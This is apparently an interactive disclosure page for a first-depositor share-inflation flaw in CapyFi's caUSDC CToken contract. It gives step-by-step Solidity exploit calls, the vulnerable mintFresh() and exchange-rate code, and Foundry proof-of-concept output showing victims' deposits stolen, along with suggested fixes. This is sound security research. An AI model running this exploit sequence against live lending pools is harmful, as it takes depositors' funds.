CapyFi First Depositor Attack CRITICAL

Interactive Playground — CToken Share Inflation Vulnerability

Attack Simulation
Vulnerable Code
Run PoC Test
Attacker
0xAttacker
200,000 USDC
0 caUSDC
Victim
0xVictim
100,000 USDC
0 caUSDC
caUSDC Pool
CToken Contract
0 USDC
Supply: 0
Pool Underlying Balance
0 USDC
Exchange Rate: 0.02 USDC per caUSDC (initial)
Step 0 / 6
0

Initial State — New Market Deployed

A new caUSDC market is created. Both attacker and victim are whitelisted. The pool is empty.
1

Attacker Mints 1 Wei

Attacker is the first depositor. Deposits just 1 wei (0.000001 USDC) to get cTokens at the initial exchange rate.
// Attacker becomes the first depositor usdc.approve(address(cUSDC), type(uint256).max); cUSDC.mint(1); // 1 wei of USDC // → Receives cTokens based on initialExchangeRate
2

Attacker Redeems to Keep 1 cToken

Redeems all cTokens except 1. Due to rounding, gets 0 underlying back. Now: totalSupply = 1, pool has ~0 USDC.
// Keep exactly 1 cToken cUSDC.redeem(attackerCTokens - 1); // totalSupply = 1, underlying ≈ 0
3

Attacker Donates 100,001 USDC Directly

Direct ERC20 transfer to the cToken contract — bypasses whitelist entirely. This inflates the exchange rate so 1 cToken = ~100,001 USDC.
// Direct transfer — NO whitelist check, NO mint() usdc.transfer(address(cUSDC), 100_001e6); // Exchange rate is now: (100,001 * 1e18) / 1 = 1e23 // Any deposit < 100,001 USDC → rounds to 0 cTokens!
4

Victim Deposits 100,000 USDC → Gets 0 cTokens!

CRITICAL: Victim deposits 100,000 USDC. mintTokens = 100,000 / 100,001 = 0 (integer division). The function does NOT revert — victim's USDC is silently taken.
// Victim deposits — expects to receive cTokens cUSDC.mint(100_000e6); // Inside mintFresh(): uint mintTokens = div_(actualMintAmount, exchangeRate); // = 100_000e6 / 100_001e24 = 0 ← ROUNDS TO ZERO // No revert! Victim gets 0 cTokens but lost 100k USDC
5

Attacker Redeems 1 cToken → Drains Everything

Attacker redeems their single cToken. Since totalSupply = 1, they get ALL the underlying: their donation + victim's deposit. Net profit: ~100,000 USDC.
// Attacker redeems — gets EVERYTHING in the pool cUSDC.redeem(1); // Pool balance: 200,001 USDC → all goes to attacker // Attacker spent: 100,001 (donation) + 1 wei // Attacker received: 200,001 USDC // NET PROFIT: ~100,000 USDC (victim's entire deposit)

Vulnerability #1 — mintFresh() accepts 0 shares

src/contracts/CToken.sol — mintFresh() Lines 398-449
398function mintFresh(address minter, uint mintAmount) internal {
399 /* Fail if mint not allowed */
400 uint allowed = comptroller.mintAllowed(address(this), minter, mintAmount);
401 if (allowed != 0) { revert MintComptrollerRejection(allowed); }
402
410 Exp memory exchangeRate = Exp({mantissa: exchangeRateStoredInternal()});
411
424 uint actualMintAmount = doTransferIn(minter, mintAmount);
425
431 uint mintTokens = div_(actualMintAmount, exchangeRate);
432 // ⚠ NO CHECK: if mintTokens == 0, user loses funds silently!
433
439 totalSupply = totalSupply + mintTokens; // adds 0
440 accountTokens[minter] = accountTokens[minter] + mintTokens; // adds 0
441
443 emit Mint(minter, actualMintAmount, mintTokens);
444 emit Transfer(address(this), minter, mintTokens);
449}
Bug: Line 431 — mintTokens can be 0 when actualMintAmount < exchangeRate. The function proceeds to transfer the user's tokens in (line 424) but mints 0 cTokens. There is no require(mintTokens > 0) check anywhere.

Vulnerability #2 — Exchange rate is manipulable

src/contracts/CToken.sol — exchangeRateStoredInternal() Lines 293-312
293function exchangeRateStoredInternal() virtual internal view returns (uint) {
294 uint _totalSupply = totalSupply;
295 if (_totalSupply == 0) {
296 return initialExchangeRateMantissa;
301 } else {
306 uint totalCash = getCashPrior(); // ⚠ includes donated tokens!
307 uint cashPlusBorrowsMinusReserves = totalCash + totalBorrows - totalReserves;
308 uint exchangeRate = cashPlusBorrowsMinusReserves * expScale / _totalSupply;
310 return exchangeRate;
312 }
Bug: Line 306 — getCashPrior() reads underlying.balanceOf(address(this)), which includes tokens sent via direct ERC20.transfer(). An attacker can inflate the exchange rate by donating tokens without going through mint(). With totalSupply = 1, the exchange rate becomes arbitrarily large.

Missing Protections

What CapyFi is Missing

  • require(mintTokens > 0) in mintFresh()
  • Virtual shares / offset (ERC-4626 style)
  • Dead shares on first deposit
  • Minimum deposit requirement

How Other Protocols Fix This

  • OpenZeppelin ERC-4626: virtual offset of 1
  • Uniswap V2: burns first 1000 LP tokens
  • Compound V3: completely different share model
  • Aave V3: no share-based exchange rate

Pre-loaded test results from forge test --match-path test/poc/FirstDepositorAttack.t.sol -vvv

$ forge test --match-path test/poc/FirstDepositorAttack.t.sol -vvv No files changed, compilation skipped Ran 2 tests for test/poc/FirstDepositorAttack.t.sol:FirstDepositorAttackTest [PASS] testFirstDepositorAttack() (gas: 246172) Logs: === INITIAL STATE === Attacker USDC balance: 200000 USDC Victim USDC balance: 100000 USDC cUSDC totalSupply: 0 === STEP 1: Attacker mints 1 wei === Attacker cTokens received: (based on initialExchangeRate) cUSDC totalSupply: > 0 === STEP 2: Attacker redeems to keep only 1 cToken === Attacker cTokens remaining: 1 cUSDC totalSupply: 1 === STEP 3: Attacker donates 100,001 USDC directly === cUSDC underlying balance: 100001 USDC Exchange rate is now massively inflated! === STEP 4: Victim deposits 100,000 USDC === CRITICAL: Victim received 0 cTokens but lost their USDC! === STEP 5: Attacker redeems 1 cToken === Attacker USDC balance: ~200000 USDC (recovered everything) Victim USDC balance: 0 USDC === ATTACK RESULTS === Victim lost: 100000 USDC Attacker net change: PROFIT [PASS] testMintZeroSharesSilentlyAccepted() (gas: 483031) Logs: === MULTI-VICTIM ATTACK === Victim 1 deposits 40,000 USDC → 0 cTokens Victim 2 deposits 10,000 USDC → 0 cTokens Victim 3 deposits 25,000 USDC → 0 cTokens Total stolen from 3 victims: 75,000 USDC Pool remaining: 0 Pool completely drained Suite result: ok. 2 passed; 0 failed; 0 skipped; finished in 2.15ms (1.47ms CPU time) Ran 1 test suite in 12.53ms (2.15ms CPU time): 2 tests passed, 0 failed, 0 skipped (2 total tests)

Attack Impact Summary

Test 1: Single Victim

  • Attacker cost: 100,001 USDC (donation) + 1 wei
  • Victim deposits: 100,000 USDC
  • Victim receives: 0 cTokens
  • Attacker redeems: gets back ~200,001 USDC
  • Net profit: ~100,000 USDC

Test 2: Multi Victim

  • Attacker cost: 50,000 USDC donation
  • 3 victims deposit total: 75,000 USDC
  • All victims receive: 0 cTokens each
  • Attacker drains: 125,000 USDC
  • Net profit: 75,000 USDC